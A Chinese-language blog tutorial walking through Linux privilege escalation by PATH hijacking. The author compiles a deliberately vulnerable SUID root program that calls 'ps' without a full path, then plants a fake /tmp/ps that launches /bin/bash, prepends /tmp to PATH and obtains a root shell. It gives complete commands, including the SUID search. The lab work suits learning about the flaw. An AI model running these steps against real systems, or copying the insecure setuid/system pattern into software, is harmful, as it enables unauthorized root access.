利用PATH環境變數 - 提升linux許可權~👻

胖三斤1 發表於 2021-10-14
Linux

利用PATH提升linux許可權

參考地址:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
這篇文章是我學習大佬的部落格,加上自己的理解寫的,大佬寫的更詳細,總共寫了4種方法,但是在我看來這都是一種方法,所有我加上我淺薄的理解,總結了一個方法。

1.介紹

PATH 是 Linux 和類 Unix 作業系統中的環境變數,它指定儲存所有可執行程式的所有 bin 和 sbin 目錄。當使用者在終端上執行任何命令時,它會請求 shell 在 PATH 變數的幫助下搜尋可執行檔案,以響應使用者執行的命令。超級使用者通常還具有 /sbin 和 /usr/sbin 條目,以便輕鬆執行系統管理命令。

藉助echo 命令檢視相關使用者的路徑非常簡單。

echo $PATH

image

如果你注意到'.' 在環境 PATH 變數中,這意味著登入的使用者可以從當前目錄執行二進位制檔案/指令碼,這對於攻擊者來說是一種提升 root 許可權的極好技術。這是由於編寫程式時缺乏注意,因此管理員沒有指定程式的完整路徑。

個人理解:
就是在/bin/,/sbin/目錄下面的命令我們可以在任何目錄下面直接呼叫,不需要加上絕對路徑,比如cat,echo,id,
ps,ls,vim,你會發現這些都在/usr/bin/ 或者/usr/sbin/目錄下面,所有你呼叫這些命令不需要加上絕對路徑,可
以直接呼叫,這篇文章說的就是改寫這些命令進行覆蓋原來的命令,比如改寫一個ps覆蓋原來呼叫的/usr/bin/ps這個系
統命令,改寫的ps裡面我們寫上我們的內容,然後進行覆蓋去執行,達到提權的目的。(現在沒看懂沒關係,可能我表達
不是很好,往後看你就都明白了!🙄)

image

2.建立測試檔案demo.c

我們現在目前是root許可權:

image

我們進入/home/tzf目錄下面建立一個新目錄script,然後在這個目錄下面寫一個c程式,這個c程式裡面會呼叫一個系
統命令ps(當然了!,你也可以呼叫echo,cat,ls,vim隨便哪一個系統命令都可以,大佬的文章寫了四個命令,我這裡
就講解這一個吧,其他的用法大同小異,大家可以去膜拜膜拜大佬寫的!😉)

命令:
mkdir script
cd script
touch demo.c
vim demo.c

demo.c 內容:
void main()
{
        setuid(0);
        setgid(0);
        system("ps");
}

image

不好意思,這裡忘記切換進去script資料夾了😂,在哪個資料夾下面都一樣的其實。
正如您在我們的 demo.c 檔案中所觀察到的,我們正在呼叫 ps 命令(程式狀態),它是系統二進位制檔案。跟ls,cat,vim,echo都是一樣的。

3.編譯demo.c檔案並加上許可權

gcc demo.c -o shell
chmod u+s shell
ls -al

image

我們可以看到現在shell就是demo.c經過編譯得到的二進位制檔案,demo.c的內容就是呼叫系統命令ps,然後shell這個二進位制檔案他的使用者是root,但是普通使用者也是可以以root許可權去執行二進位制檔案的,因為我們加了s許可權。
關於chmod u+s命令的解釋:https://www.cnblogs.com/bruce1992/p/14307745.html

image

現在我們切換到普通使用者tzf,就是說我們已普通使用者去執行shell這個檔案是用的root許可權去執行的,這麼說大家應該能理解。我們發現shell它會去呼叫ps這個命令。我們現在可以看到ps這個命令現在是在/usr/bin/目錄下面的,就是說我們現在執行./shell這個檔案是呼叫的/usr/bin/ps這個命令,後面接著看🧐。

image

4.提權

首先,您需要破壞目標系統,然後進入提權階段。假設您通過 ssh 成功登入到受害者的機器。然後不用浪費時間,在 Find 命令的幫助下搜尋具有 SUID 或 4000 許可權的檔案。

find / -perm -u=s -type f 2>/dev/null

因此在上述命令的幫助下,攻擊者可以列舉任何可執行檔案,在這裡我們還可以觀察到/home/tzf/script/shell具有 suid 許可權。suid許可權就是我們剛剛加的u+s。

image

可以看到這個就是我們剛剛寫進去的二進位制檔案shell
這裡我就以普通使用者tzf做演示,就當我通過ssh連上tzf這個普通使用者然後提權到root使用者。

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/tzf/script
./shell
whoami

image

5.個人理解

可以看到第三步的時候我們執行./shell這個命令呼叫的ps是/usr/bin/ps這個命令,但是最後我們在第四步執行的./shell這個命令,此時ps這個命令的絕對路徑變成了/tmp/ps,然後/tmp/ps是我們自己建立的一個檔案,裡面內容是/bin/bash,所有我們在第四步是以root許可權去執行的./shell這個命令,同時也是以root許可權去執行的ps命令,也就是執行的/bin/bash,所以我們成功提權到了root的終端,成功提權。

有人可能會問為什麼不呼叫/usr/bin/ps,而是去呼叫的/tmp/psn呢,/usr/bin/ps這個檔案難道沒了嗎?不沒有,不信你可以執行cd /usr/bin;ls | grep ps看看,ps檔案其實還在,我猜測應該是因為我們的/tmp/ps加在了$PATH環境變數的最前面,而且當我們執行ps這個命令的時候,他去環境變數裡面找應該是從頭到尾開始找,找到了就停止了,所以先找到的是/tmp/ps這個命令,就直接呼叫了。所以並不是/usr/bin/ps被/tmp/ps覆蓋了,只是被攔截了!👀,這只是我個人的理解,如果有誤請大佬指正!


image